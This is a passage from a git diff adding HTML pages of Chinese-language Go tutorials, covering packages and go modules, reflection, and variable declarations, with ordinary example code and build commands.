"net/http"
"os"
)
+

当引入的多个包中存在相同的包名或者想自行为某个引入的包设置一个新包名时,都需要通过importname指定一个在当前文件中使用的新包名。例如,在引入fmt包时为其指定一个新包名f。

+
import f "fmt"
+

这样在当前这个文件中就可以通过使用f来调用fmt包中的函数了。

+
f.Println("Hello world!")
+

如果引入一个包的时候为其设置了一个特殊_作为包名,那么这个包的引入方式就称为匿名引入。一个包被匿名引入的目的主要是为了加载这个包,从而使得这个包中的资源得以初始化。 被匿名引入的包中的init函数将被执行并且仅执行一遍。

+
import _ "github.com/go-sql-driver/mysql"
+

匿名引入的包与其他方式导入的包一样都会被编译到可执行文件中。

+

需要注意的是,Go语言中不允许引入包却不在代码中使用这个包的内容,如果引入了未使用的包则会触发编译错误。

+

init初始化函数​

+

在每一个Go源文件中,都可以定义任意个如下格式的特殊函数:

+
func init(){
// ...
}
+

这种特殊的函数不接收任何参数也没有任何返回值,我们也不能在代码中主动调用它。当程序启动的时候,init函数会按照它们声明的顺序自动执行。

+

一个包的初始化过程是按照代码中引入的顺序来进行的,所有在该包中声明的init函数都将被串行调用并且仅调用执行一次。每一个包初始化的时候都是先执行依赖的包中声明的init函数再执行当前包中声明的init函数。确保在程序的main函数开始执行时所有的依赖包都已初始化完成。包初始化函数执行顺序示意图

+

每一个包的初始化是先从初始化包级别变量开始的。例如从下面的示例中我们就可以看出包级别变量的初始化会先于init初始化函数。

+
package main

import "fmt"

var x int8 = 10

const pi = 3.14

func init() {
fmt.Println("x:", x)
fmt.Println("pi:", pi)
sayHi()
}

func sayHi() {
fmt.Println("Hello World!")
}

func main() {
fmt.Println("你好,世界!")
}
+

输出结果:

+
x: 10
pi: 3.14
Hello World!
你好,世界!
+

在上面的代码中,我们了解了Go语言中包的定义及包的初始化过程,这让我们能够在开发时按照自己的需要定义包。同时我们还学到了如何在我们的代码中引入其它的包,不过在本小节的所有示例中我们都是引入Go内置的包。现代编程语言大多都允许开发者对外发布包/库,也支持开发者在自己的代码中引入第三方库。这样的设计能够让广大开发者一起参与到语言的生态环境建设当中,把生态建设的更加完善。

+

go module​

+

在Go语言的早期版本中,我们编写Go项目代码时所依赖的所有第三方包都需要保存在GOPATH这个目录下面。这样的依赖管理方式存在一个致命的缺陷,那就是不支持版本管理,同一个依赖包只能存在一个版本的代码。可是我们本地的多个项目完全可能分别依赖同一个第三方包的不同版本。

+

go module介绍​

+

Go module 是 Go1.11 版本发布的依赖管理方案,从 Go1.14 版本开始推荐在生产环境使用,于Go1.16版本默认开启。Go module 提供了以下命令供我们使用:

+

go module相关命令

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
命令介绍
go mod init初始化项目依赖,生成go.mod文件
go mod download根据go.mod文件下载依赖
go mod tidy比对项目文件中引入的依赖与go.mod进行比对
go mod graph输出依赖关系图
go mod edit编辑go.mod文件
go mod vendor将项目的所有依赖导出至vendor目录
go mod verify检验一个依赖包是否被篡改过
go mod why解释为什么需要某个依赖
+

Go语言在 go module 的过渡阶段提供了 GO111MODULE 这个环境变量来作为是否启用 go module 功能的开关,考虑到 Go1.16 之后 go module 已经默认开启,所以本书不再介绍该配置,对于刚接触Go语言的读者而言完全没有必要了解这个历史包袱。

+

GOPROXY

+

这个环境变量主要是用于设置 Go 模块代理(Go module proxy),其作用是用于使 Go 在后续拉取模块版本时能够脱离传统的 VCS 方式,直接通过镜像站点来快速拉取。

+

GOPROXY 的默认值是:https://proxy.golang.org,direct,由于某些原因国内无法正常访问该地址,所以我们通常需要配置一个可访问的地址。目前社区使用比较多的有两个https://goproxy.cn和https://goproxy.io,当然如果你的公司有提供GOPROXY地址那么就直接使用。设置GOPAROXY的命令如下:

+
go env -w GOPROXY=https://goproxy.cn,direct
+

GOPROXY 允许设置多个代理地址,多个地址之间需使用英文逗号 “,” 分隔。最后的 “direct” 是一个特殊指示符,用于指示 Go 回源到源地址去抓取(比如 GitHub 等)。当配置有多个代理地址时,如果第一个代理地址返回 404 或 410 错误时,Go 会自动尝试下一个代理地址,当遇见 “direct” 时触发回源,也就是回到源地址去抓取。

+

GOPRIVATE

+

设置了GOPROXY 之后,go 命令就会从配置的代理地址拉取和校验依赖包。当我们在项目中引入了非公开的包(公司内部git仓库或 github 私有仓库等),此时便无法正常从代理拉取到这些非公开的依赖包,这个时候就需要配置 GOPRIVATE 环境变量。GOPRIVATE用来告诉 go 命令哪些仓库属于私有仓库,不必通过代理服务器拉取和校验。

+

GOPRIVATE 的值也可以设置多个,多个地址之间使用英文逗号 “,” 分隔。我们通常会把自己公司内部的代码仓库设置到 GOPRIVATE 中,例如:

+
$ go env -w GOPRIVATE="git.mycompany.com"
+

这样在拉取以git.mycompany.com为路径前缀的依赖包时就能正常拉取了。

+

此外,如果公司内部自建了 GOPROXY 服务,那么我们可以通过设置 GONOPROXY=none,允许通内部代理拉取私有仓库的包。

+

使用go module引入包​

+

接下来我们将通过一个示例来演示如何在开发项目时使用 go module 拉取和管理项目依赖。

+

初始化项目 我们在本地新建一个名为holiday项目,按如下方式创建一个名为holiday的文件夹并切换到该目录下:

+
$ mkdir holiday
$ cd holiday
+

目前我们位于holiday文件夹下,接下来执行下面的命令初始化项目。

+
$ go mod init holiday
go: creating new go.mod: module holiday
+

该命令会自动在项目目录下创建一个go.mod文件,其内容如下。

+
module holiday

go 1.16
+

其中:

+
    +
  • module holiday:定义当前项目的导入路径
  • +
  • go 1.16:标识当前项目使用的 Go 版本
  • +
+

go.mod文件会记录项目使用的第三方依赖包信息,包括包名和版本,由于我们的holiday项目目前还没有使用到第三方依赖包,所以go.mod文件暂时还没有记录任何依赖包信息,只有当前项目的一些信息。

+

接下来,我们在项目目录下新建一个main.go文件,其内容如下:

+
// holiday/main.go

package main

import "fmt"

func main() {
fmt.Println("现在是假期时间...")
}
+

然后,我们的holiday项目现在需要引入一个第三方包github.com/q1mi/hello来实现一些必要的功能。类似这样的场景在我们的日常开发中是很常见的。我们需要先将依赖包下载到本地同时在go.mod中记录依赖信息,然后才能在我们的代码中引入并使用这个包。下载依赖包主要有两种方法。

+

第一种方法是在项目目录下执行go get命令手动下载依赖的包:

+
holiday $ go get -u github.com/q1mi/hello
go get: added github.com/q1mi/hello v0.1.1
+

这样默认会下载最新的发布版本,你也可以指定想要下载指定的版本号的。

+
holiday $ go get -u github.com/q1mi/hello@v0.1.0
go: downloading github.com/q1mi/hello v0.1.0
go get: downgraded github.com/q1mi/hello v0.1.1 => v0.1.0
+

如果依赖包没有发布任何版本则会拉取最新的提交,最终go.mod中的依赖信息会变成类似下面这种由默认v0.0.0的版本号和最新一次commit的时间和hash组成的版本格式:

+
require github.com/q1mi/hello v0.0.0-20210218074646-139b0bcd549d
+

如果想指定下载某个commit对应的代码,可以直接指定commit hash,不过没有必要写出完整的commit hash,一般前7位即可。例如:

+
holiday $ go get github.com/q1mi/hello@2ccfadd
go: downloading github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3
go get: added github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3
+

此时,我们打开go.mod文件就可以看到下载的依赖包及版本信息都已经被记录下来了。

+
module holiday

go 1.16

require github.com/q1mi/hello v0.1.0 // indirect
+

行尾的indirect表示该依赖包为间接依赖,说明在当前程序中的所有 import 语句中没有发现引入这个包。

+

另外在执行go get命令下载一个新的依赖包时一般会额外添加-u参数,强制更新现有依赖。

+

第二种方式是我们直接编辑go.mod文件,将依赖包和版本信息写入该文件。例如我们修改holiday/go.mod文件内容如下:

+
module holiday

go 1.16

require github.com/q1mi/hello latest
+

表示当前项目需要使用github.com/q1mi/hello库的最新版本,然后在项目目录下执行go mod download下载依赖包。

+
holiday $ go mod download
+

如果不输出其它提示信息就说明依赖已经下载成功,此时go.mod文件已经变成如下内容。

+
module holiday

go 1.16

require github.com/q1mi/hello v0.1.1
+

从中我们可以知道最新的版本号是v0.1.1。如果事先知道依赖包的具体版本号,可以直接在go.mod中指定需要的版本然后再执行go mod download下载。

+

这种方法同样支持指定想要下载的commit进行下载,例如直接在go.mod文件中按如下方式指定commit hash,这里只写出来了commit hash的前7位。

+
require github.com/q1mi/hello 2ccfadda
+

执行go mod download下载完依赖后,go.mod文件中对应的版本信息会自动更新为类似下面的格式。

+
module holiday

go 1.16

require github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3
+

下载好要使用的依赖包之后,我们现在就可以在holiday/main.go文件中使用这个包了。

+
package main

import (
"fmt"

"github.com/q1mi/hello"
)

func main() {
fmt.Println("现在是假期时间...")

hello.SayHi() // 调用hello包的SayHi函数
}
+

将上述代码编译执行,就能看到执行结果了。

+
holiday $ go build
holiday $ ./holiday
现在是假期时间...
你好,我是七米。很高兴认识你。
+

当我们的项目功能越做越多,代码越来越多的时候,通常会选择在项目内部按功能或业务划分成多个不同包。Go语言支持在一个项目(project)下定义多个包(package)。

+

例如,我们在holiday项目内部创建一个新的package——summer,此时新的项目目录结构如下:

+
holidy
├── go.mod
├── go.sum
├── main.go
└── summer
└── summer.go
+

其中holiday/summer/summer.go文件内容如下:

+
package summer

import "fmt"

// Diving 潜水...
func Diving() {
fmt.Println("夏天去诗巴丹潜水...")
}
+

此时想要在当前项目目录下的其他包或者main.go中调用这个Diving函数需要如何引入呢?这里以在main.go中演示详细的调用过程为例,在项目内其他包的引入方式类似。

+
package main

import (
"fmt"

"holiday/summer" // 导入当前项目下的包

"github.com/q1mi/hello" // 导入github上第三方包
)

func main() {
fmt.Println("现在是假期时间...")
hello.SayHi()

summer.Diving()
}
+

从上面的示例可以看出,项目中定义的包都会以项目的导入路径为前缀。

+

如果你想要导入本地的一个包,并且这个包也没有发布到到其他任何代码仓库,这时候你可以在go.mod文件中使用replace语句将依赖临时替换为本地的代码包。例如在我的电脑上有另外一个名为liwenzhou.com/overtime的项目,它位于holiday项目同级目录下:

+
├── holiday
│ ├── go.mod
│ ├── go.sum
│ ├── main.go
│ └── summer
│ └── summer.go
└── overtime
├── go.mod
└── overtime.go
+

由于liwenzhou.com/overtime包只存在于我本地,并不能通过网络获取到这个代码包,这个时候应该如何在holidy项目中引入它呢?

+

我们可以在holidy/go.mod文件中正常引入liwenzhou.com/overtime包,然后像下面的示例那样使用replace语句将这个依赖替换为使用相对路径表示的本地包。

+
module holiday

go 1.16

require github.com/q1mi/hello v0.1.1
require liwenzhou.com/overtime v0.0.0

replace liwenzhou.com/overtime => ../overtime
+

这样,我们就可以在holiday/main.go下正常引入并使用overtime包了。

+
package main

import (
"fmt"

"holiday/summer" // 导入当前项目下的包

"liwenzhou.com/overtime" // 通过replace导入的本地包

"github.com/q1mi/hello" // 导入github上第三方包
)

func main() {
fmt.Println("现在是假期时间...")
hello.SayHi()

summer.Diving()

overtime.Do()
}
+

我们也经常使用replace将项目依赖中的某个包,替换为其他版本的代码包或我们自己修改后的代码包。

+

go.mod文件

+

go.mod文件中记录了当前项目中所有依赖包的相关信息,声明依赖的格式如下:

+
require module/path v1.2.3
+

其中:

+
    +
  • require:声明依赖的关键字
  • +
  • module/path:依赖包的引入路径
  • +
  • v1.2.3:依赖包的版本号。支持以下几种格式: +
      +
    • latest:最新版本
    • +
    • v1.0.0:详细版本号
    • +
    • commit hash:指定某次commit hash
    • +
    +
  • +
+

引入某些没有发布过tag版本标识的依赖包时,go.mod中记录的依赖版本信息就会出现类似v0.0.0-20210218074646-139b0bcd549d的格式,由版本号、commit时间和commit的hash值组成。

+

go module生成的版本信息组成示意图

+

go.sum文件

+

使用go module下载了依赖后,项目目录下还会生成一个go.sum文件,这个文件中详细记录了当前项目中引入的依赖包的信息及其hash 值。go.sum文件内容通常是以类似下面的格式出现。

+
<module> <version>/go.mod <hash>
+

或者

+
<module> <version> <hash>
<module> <version>/go.mod <hash>
+

不同于其他语言提供的基于中心的包管理机制,例如 npm 和 pypi等,Go并没有提供一个中央仓库来管理所有依赖包,而是采用分布式的方式来管理包。为了防止依赖包被非法篡改,Go module 引入了go.sum机制来对依赖包进行校验。

+

依赖保存位置

+

Go module 会把下载到本地的依赖包会以类似下面的形式保存在 $GOPATH/pkg/mod目录下,每个依赖包都会带有版本号进行区分,这样就允许在本地存在同一个包的多个不同版本。

+
mod
├── cache
├── cloud.google.com
├── github.com
└──q1mi
├── hello@v0.0.0-20210218074646-139b0bcd549d
├── hello@v0.1.1
└── hello@v0.1.0
...
+

如果想清除所有本地已缓存的依赖包数据,可以执行 go clean -modcache 命令。

+

使用go module发布包​

+

在上面的小节中我们学习了如何在项目中引入别人提供的依赖包,那么当我们想要在社区发布一个自己编写的代码包或者在公司内部编写一个供内部使用的公用组件时,我们该怎么做呢?接下来,我们就一起编写一个代码包并将它发布到github.com仓库,让它能够被全球的Go语言开发者使用。

+

我们首先在自己的 github 账号下新建一个项目,并把它下载到本地。我这里就以创建和发布一个名为hello的项目为例进行演示。这个hello包将对外提供一个名为SayHi的函数,它的作用非常简单就是向调用者发去问候。

+
$ git clone https://github.com/q1mi/hello
$ cd hello
+

我们当前位于hello项目目录下,执行下面的命令初始化项目,创建go.mod文件。需要注意的是这里定义项目的引入路径为github.com/q1mi/hello,读者在自行测试时需要将这部分替换为自己的仓库路径。

+
hello $ go mod init github.com/q1mi/hello
go: creating new go.mod: module github.com/q1mi/hello
+

接下来我们在该项目根目录下创建 hello.go 文件,添加下面的内容:

+
package hello

import "fmt"

func SayHi() {
fmt.Println("你好,我是七米。很高兴认识你。")
}
+

然后将该项目的代码 push 到仓库的远端分支,这样就对外发布了一个Go包。其他的开发者可以通过github.com/q1mi/hello这个引入路径下载并使用这个包了。

+

一个设计完善的包应该包含开源许可证及文档等内容,并且我们还应该尽心维护并适时发布适当的版本。github 上发布版本号使用git tag为代码包打上标签即可。

+
hello $ git tag -a v0.1.0 -m "release version v0.1.0"
hello $ git push origin v0.1.0
+

经过上面的操作我们就发布了一个版本号为v0.1.0的版本。

+

Go modules中建议使用语义化版本控制,其建议的版本号格式如下:

+

语义化版本号示意图

+

其中:

+
    +
  • 主版本号:发布了不兼容的版本迭代时递增(breaking changes)。
  • +
  • 次版本号:发布了功能性更新时递增。
  • +
  • 修订号:发布了bug修复类更新时递增。
  • +
+

发布新的主版本

+

现在我们的hello项目要进行与之前版本不兼容的更新,我们计划让SayHi函数支持向指定人发出问候。更新后的SayHi函数内容如下:

+
package hello

import "fmt"

// SayHi 向指定人打招呼的函数
func SayHi(name string) {
fmt.Printf("你好%s,我是七米。很高兴认识你。\n", name)
}
+

由于这次改动巨大(修改了函数之前的调用规则),对之前使用该包作为依赖的用户影响巨大。因此我们需要发布一个主版本号递增的v2版本。在这种情况下,我们通常会修改当前包的引入路径,像下面的示例一样为引入路径添加版本后缀。

+
// hello/go.mod

module github.com/q1mi/hello/v2

go 1.16
+

把修改后的代码提交:

+
hello $ git add .
hello $ git commit -m "feat: SayHi现在支持给指定人打招呼啦"
hello $ git push
+

打好 tag 推送到远程仓库。

+
hello $ git tag -a v2.0.0 -m "release version v2.0.0"
hello $ git push origin v2.0.0
+

这样在不影响使用旧版本的用户的前提下,我们新的版本也发布出去了。想要使用v2版本的代码包的用户只需按修改后的引入路径下载即可。

+
go get github.com/q1mi/hello/v2@v2.0.0
+

在代码中使用的过程与之前类似,只是需要注意引入路径要添加 v2 版本后缀。

+
package main

import (
"fmt"

"github.com/q1mi/hello/v2" // 引入v2版本
)

func main() {
fmt.Println("现在是假期时间...")

hello.SayHi("张三") // v2版本的SayHi函数需要传入字符串参数
}
+

废弃已发布版本

+

如果某个发布的版本存在致命缺陷不再想让用户使用时,我们可以使用retract声明废弃的版本。例如我们在hello/go.mod文件中按如下方式声明即可对外废弃v0.1.2版本。

+
module github.com/q1mi/hello

go 1.16


retract v0.1.2
+

用户使用go get下载v0.1.2版本时就会收到提示,催促其升级到其他版本。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-反射/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-反射/index.html new file mode 100644 index 0000000..a4aabbe --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-反射/index.html @@ -0,0 +1,156 @@ + + + + + +Go语言基础之反射 | wjlin0 + + + + + + + +

Go语言基础之反射

+

变量的内在机制​

+

Go语言中的变量是分为两部分的:

+
    +
  • 类型信息:预先定义好的元信息。
  • +
  • 值信息:程序运行过程中可动态变化的。
  • +
+

反射介绍​

+

反射是指在程序运行期间对程序本身进行访问和修改的能力。程序在编译时,变量被转换为内存地址,变量名不会被编译器写入到可执行部分。在运行程序时,程序无法获取自身的信息。

+

支持反射的语言可以在程序编译期间将变量的反射信息,如字段名称、类型信息、结构体信息等整合到可执行文件中,并给程序提供接口访问反射信息,这样就可以在程序运行期间获取类型的反射信息,并且有能力修改它们。

+

Go程序在运行期间使用reflect包访问程序的反射信息。

+

在上一篇博客中我们介绍了空接口。 空接口可以存储任意类型的变量,那我们如何知道这个空接口保存的数据是什么呢? 反射就是在运行时动态的获取一个变量的类型信息和值信息。

+

reflect包​

+

在Go语言的反射机制中,任何接口值都由是一个具体类型和具体类型的值两部分组成的(我们在上一篇接口的博客中有介绍相关概念)。 在Go语言中反射的相关功能由内置的reflect包提供,任意接口值在反射中都可以理解为由reflect.Type和reflect.Value两部分组成,并且reflect包提供了reflect.TypeOf和reflect.ValueOf两个函数来获取任意对象的Value和Type。

+

TypeOf​

+

在Go语言中,使用reflect.TypeOf()函数可以获得任意值的类型对象(reflect.Type),程序通过类型对象可以访问任意值的类型信息。

+
package main

import (
"fmt"
"reflect"
)

func reflectType(x interface{}) {
v := reflect.TypeOf(x)
fmt.Printf("type:%v\n", v)
}
func main() {
var a float32 = 3.14
reflectType(a) // type:float32
var b int64 = 100
reflectType(b) // type:int64
}
+

type name和type kind​

+

在反射中关于类型还划分为两种:类型(Type)和种类(Kind)。因为在Go语言中我们可以使用type关键字构造很多自定义类型,而种类(Kind)就是指底层的类型,但在反射中,当需要区分指针、结构体等大品种的类型时,就会用到种类(Kind)。 举个例子,我们定义了两个指针类型和两个结构体类型,通过反射查看它们的类型和种类。

+
package main

import (
"fmt"
"reflect"
)

type myInt int64

func reflectType(x interface{}) {
t := reflect.TypeOf(x)
fmt.Printf("type:%v kind:%v\n", t.Name(), t.Kind())
}

func main() {
var a *float32 // 指针
var b myInt // 自定义类型
var c rune // 类型别名
reflectType(a) // type: kind:ptr
reflectType(b) // type:myInt kind:int64
reflectType(c) // type:int32 kind:int32

type person struct {
name string
age int
}
type book struct{ title string }
var d = person{
name: "沙河小王子",
age: 18,
}
var e = book{title: "《跟小王子学Go语言》"}
reflectType(d) // type:person kind:struct
reflectType(e) // type:book kind:struct
}
+

Go语言的反射中像数组、切片、Map、指针等类型的变量,它们的.Name()都是返回空。

+

在reflect包中定义的Kind类型如下:

+
type Kind uint
const (
Invalid Kind = iota // 非法类型
Bool // 布尔型
Int // 有符号整型
Int8 // 有符号8位整型
Int16 // 有符号16位整型
Int32 // 有符号32位整型
Int64 // 有符号64位整型
Uint // 无符号整型
Uint8 // 无符号8位整型
Uint16 // 无符号16位整型
Uint32 // 无符号32位整型
Uint64 // 无符号64位整型
Uintptr // 指针
Float32 // 单精度浮点数
Float64 // 双精度浮点数
Complex64 // 64位复数类型
Complex128 // 128位复数类型
Array // 数组
Chan // 通道
Func // 函数
Interface // 接口
Map // 映射
Ptr // 指针
Slice // 切片
String // 字符串
Struct // 结构体
UnsafePointer // 底层指针
)
+

ValueOf​

+

reflect.ValueOf()返回的是reflect.Value类型,其中包含了原始值的值信息。reflect.Value与原始值之间可以互相转换。

+

reflect.Value类型提供的获取原始值的方法如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法说明
Interface() interface {}将值以 interface{} 类型返回,可以通过类型断言转换为指定类型
Int() int64将值以 int 类型返回,所有有符号整型均可以此方式返回
Uint() uint64将值以 uint 类型返回,所有无符号整型均可以此方式返回
Float() float64将值以双精度(float64)类型返回,所有浮点数(float32、float64)均可以此方式返回
Bool() bool将值以 bool 类型返回
Bytes() []bytes将值以字节数组 []bytes 类型返回
String() string将值以字符串类型返回
+

通过反射获取值​

+
func reflectValue(x interface{}) {
v := reflect.ValueOf(x)
k := v.Kind()
switch k {
case reflect.Int64:
// v.Int()从反射中获取整型的原始值,然后通过int64()强制类型转换
fmt.Printf("type is int64, value is %d\n", int64(v.Int()))
case reflect.Float32:
// v.Float()从反射中获取浮点型的原始值,然后通过float32()强制类型转换
fmt.Printf("type is float32, value is %f\n", float32(v.Float()))
case reflect.Float64:
// v.Float()从反射中获取浮点型的原始值,然后通过float64()强制类型转换
fmt.Printf("type is float64, value is %f\n", float64(v.Float()))
}
}
func main() {
var a float32 = 3.14
var b int64 = 100
reflectValue(a) // type is float32, value is 3.140000
reflectValue(b) // type is int64, value is 100
// 将int类型的原始值转换为reflect.Value类型
c := reflect.ValueOf(10)
fmt.Printf("type c :%T\n", c) // type c :reflect.Value
}
+

通过反射设置变量的值​

+

想要在函数中通过反射修改变量的值,需要注意函数参数传递的是值拷贝,必须传递变量地址才能修改变量值。而反射中使用专有的Elem()方法来获取指针对应的值。

+
package main

import (
"fmt"
"reflect"
)

func reflectSetValue1(x interface{}) {
v := reflect.ValueOf(x)
if v.Kind() == reflect.Int64 {
v.SetInt(200) //修改的是副本,reflect包会引发panic
}
}
func reflectSetValue2(x interface{}) {
v := reflect.ValueOf(x)
// 反射中使用 Elem()方法获取指针对应的值
if v.Elem().Kind() == reflect.Int64 {
v.Elem().SetInt(200)
}
}
func main() {
var a int64 = 100
// reflectSetValue1(a) //panic: reflect: reflect.Value.SetInt using unaddressable value
reflectSetValue2(&a)
fmt.Println(a)
}
+

isNil()和isValid()​

+
isNil()​
+
func (v Value) IsNil() bool
+

IsNil()报告v持有的值是否为nil。v持有的值的分类必须是通道、函数、接口、映射、指针、切片之一;否则IsNil函数会导致panic。

+
isValid()​
+
func (v Value) IsValid() bool
+

IsValid()返回v是否持有一个值。如果v是Value零值会返回假,此时v除了IsValid、String、Kind之外的方法都会导致panic。

+
举个例子​
+

IsNil()常被用于判断指针是否为空;IsValid()常被用于判定返回值是否有效。

+
func main() {
// *int类型空指针
var a *int
fmt.Println("var a *int IsNil:", reflect.ValueOf(a).IsNil())
// nil值
fmt.Println("nil IsValid:", reflect.ValueOf(nil).IsValid())
// 实例化一个匿名结构体
b := struct{}{}
// 尝试从结构体中查找"abc"字段
fmt.Println("不存在的结构体成员:", reflect.ValueOf(b).FieldByName("abc").IsValid())
// 尝试从结构体中查找"abc"方法
fmt.Println("不存在的结构体方法:", reflect.ValueOf(b).MethodByName("abc").IsValid())
// map
c := map[string]int{}
// 尝试从map中查找一个不存在的键
fmt.Println("map中不存在的键:", reflect.ValueOf(c).MapIndex(reflect.ValueOf("娜扎")).IsValid())
}
+

结构体反射​

+

与结构体相关的方法​

+

任意值通过reflect.TypeOf()获得反射对象信息后,如果它的类型是结构体,可以通过反射值对象(reflect.Type)的NumField()和Field()方法获得结构体成员的详细信息。

+

reflect.Type中与获取结构体成员相关的的方法如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法说明
Field(i int) StructField根据索引,返回索引对应的结构体字段的信息。
NumField() int返回结构体成员字段数量。
FieldByName(name string) (StructField, bool)根据给定字符串返回字符串对应的结构体字段的信息。
FieldByIndex(index []int) StructField多层成员访问时,根据 []int 提供的每个结构体的字段索引,返回字段的信息。
FieldByNameFunc(match func(string) bool) (StructField,bool)根据传入的匹配函数匹配需要的字段。
NumMethod() int返回该类型的方法集中方法的数目
Method(int) Method返回该类型方法集中的第i个方法
MethodByName(string)(Method, bool)根据方法名返回该类型方法集中的方法
+

StructField类型​

+

StructField类型用来描述结构体中的一个字段的信息。

+

StructField的定义如下:

+
type StructField struct {
// Name是字段的名字。PkgPath是非导出字段的包路径,对导出字段该字段为""。
// 参见http://golang.org/ref/spec#Uniqueness_of_identifiers
Name string
PkgPath string
Type Type // 字段的类型
Tag StructTag // 字段的标签
Offset uintptr // 字段在结构体中的字节偏移量
Index []int // 用于Type.FieldByIndex时的索引切片
Anonymous bool // 是否匿名字段
}
+

结构体反射示例​

+

当我们使用反射得到一个结构体数据之后可以通过索引依次获取其字段信息,也可以通过字段名去获取指定的字段信息。

+
type student struct {
Name string `json:"name"`
Score int `json:"score"`
}

func main() {
stu1 := student{
Name: "小王子",
Score: 90,
}

t := reflect.TypeOf(stu1)
fmt.Println(t.Name(), t.Kind()) // student struct
// 通过for循环遍历结构体的所有字段信息
for i := 0; i < t.NumField(); i++ {
field := t.Field(i)
fmt.Printf("name:%s index:%d type:%v json tag:%v\n", field.Name, field.Index, field.Type, field.Tag.Get("json"))
}

// 通过字段名获取指定结构体字段信息
if scoreField, ok := t.FieldByName("Score"); ok {
fmt.Printf("name:%s index:%d type:%v json tag:%v\n", scoreField.Name, scoreField.Index, scoreField.Type, scoreField.Tag.Get("json"))
}
}
+

接下来编写一个函数printMethod(s interface{})来遍历打印s包含的方法。

+
// 给student添加两个方法 Study和Sleep(注意首字母大写)
func (s student) Study() string {
msg := "好好学习,天天向上。"
fmt.Println(msg)
return msg
}

func (s student) Sleep() string {
msg := "好好睡觉,快快长大。"
fmt.Println(msg)
return msg
}

func printMethod(x interface{}) {
t := reflect.TypeOf(x)
v := reflect.ValueOf(x)

fmt.Println(t.NumMethod())
for i := 0; i < v.NumMethod(); i++ {
methodType := v.Method(i).Type()
fmt.Printf("method name:%s\n", t.Method(i).Name)
fmt.Printf("method:%s\n", methodType)
// 通过反射调用方法传递的参数必须是 []reflect.Value 类型
var args = []reflect.Value{}
v.Method(i).Call(args)
}
}
+

反射是把双刃剑​

+

反射是一个强大并富有表现力的工具,能让我们写出更灵活的代码。但是反射不应该被滥用,原因有以下三个。

+
    +
  1. 基于反射的代码是极其脆弱的,反射中的类型错误会在真正运行的时候才会引发panic,那很可能是在代码写完的很长时间之后。
  2. +
  3. 大量使用反射的代码通常难以理解。
  4. +
  5. 反射的性能低下,基于反射实现的代码通常比正常代码运行速度慢一到两个数量级。
  6. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-变量常量/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-变量常量/index.html new file mode 100644 index 0000000..fea48fe --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-变量常量/index.html @@ -0,0 +1,88 @@ + + + + + +Go语言基础之变量和常量 | wjlin0 + + + + + + + +

Go语言基础之变量和常量

+

标识符与关键字​

+

标识符​

+

在编程语言中标识符就是程序员定义的具有特殊意义的词,比如变量名、常量名、函数名等等。 Go语言中标识符由字母数字和_(下划线)组成,并且只能以字母和_开头。 举几个例子:abc, _, _123, a123。

+

关键字​

+

关键字是指编程语言中预先定义好的具有特殊含义的标识符。 关键字和保留字都不建议用作变量名。

+

Go语言中有25个关键字:

+
    break        default      func         interface    select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
+

此外,Go语言中还有37个保留字。

+
    Constants:    true  false  iota  nil

Types: int int8 int16 int32 int64
uint uint8 uint16 uint32 uint64 uintptr
float32 float64 complex128 complex64
bool byte rune string error

Functions: make len cap new append copy close delete
complex real imag
panic recover
+

变量​

+

变量的来历​

+

程序运行过程中的数据都是保存在内存中,我们想要在代码中操作某个数据时就需要去内存上找到这个变量,但是如果我们直接在代码中通过内存地址去操作变量的话,代码的可读性会非常差而且还容易出错,所以我们就利用变量将这个数据的内存地址保存起来,以后直接通过这个变量就能找到内存上对应的数据了。

+

变量类型​

+

变量(Variable)的功能是存储数据。不同的变量保存的数据类型可能会不一样。经过半个多世纪的发展,编程语言已经基本形成了一套固定的类型,常见变量的数据类型有:整型、浮点型、布尔型等。

+

Go语言中的每一个变量都有自己的类型,并且变量必须经过声明才能开始使用。

+

变量声明​

+

Go语言中的变量需要声明后才能使用,同一作用域内不支持重复声明。 并且Go语言的变量声明后必须使用。

+

标准声明​

+

Go语言的变量声明格式为:

+
var 变量名 变量类型
+

变量声明以关键字var开头,变量类型放在变量的后面,行尾无需分号。 举个例子:

+
var name string
var age int
var isOk bool
+

批量声明​

+

每声明一个变量就需要写var关键字会比较繁琐,go语言中还支持批量变量声明:

+
var (
a string
b int
c bool
d float32
)
+

变量的初始化​

+

Go语言在声明变量的时候,会自动对变量对应的内存区域进行初始化操作。每个变量会被初始化成其类型的默认值,例如: 整型和浮点型变量的默认值为0。 字符串变量的默认值为空字符串。 布尔型变量默认为false。 切片、函数、指针变量的默认为nil。

+

当然我们也可在声明变量的时候为其指定初始值。变量初始化的标准格式如下:

+
var 变量名 类型 = 表达式
+

举个例子:

+
var name string = "Q1mi"
var age int = 18
+

或者一次初始化多个变量

+
var name, age = "Q1mi", 20
+

类型推导​

+

有时候我们会将变量的类型省略,这个时候编译器会根据等号右边的值来推导变量的类型完成初始化。

+
var name = "Q1mi"
var age = 18
+

短变量声明​

+

在函数内部,可以使用更简略的 := 方式声明并初始化变量。

+
package main

import (
"fmt"
)
// 全局变量m
var m = 100

func main() {
n := 10
m := 200 // 此处声明局部变量m
fmt.Println(m, n)
}
+

匿名变量​

+

在使用多重赋值时,如果想要忽略某个值,可以使用匿名变量(anonymous variable)。 匿名变量用一个下划线_表示,例如:

+
func foo() (int, string) {
return 10, "Q1mi"
}
func main() {
x, _ := foo()
_, y := foo()
fmt.Println("x=", x)
fmt.Println("y=", y)
}
+

匿名变量不占用命名空间,不会分配内存,所以匿名变量之间不存在重复声明。 (在Lua等编程语言里,匿名变量也被叫做哑元变量。)

+

注意事项:

+
    +
  1. 函数外的每个语句都必须以关键字开始(var、const、func等)
  2. +
  3. :=不能使用在函数外。
  4. +
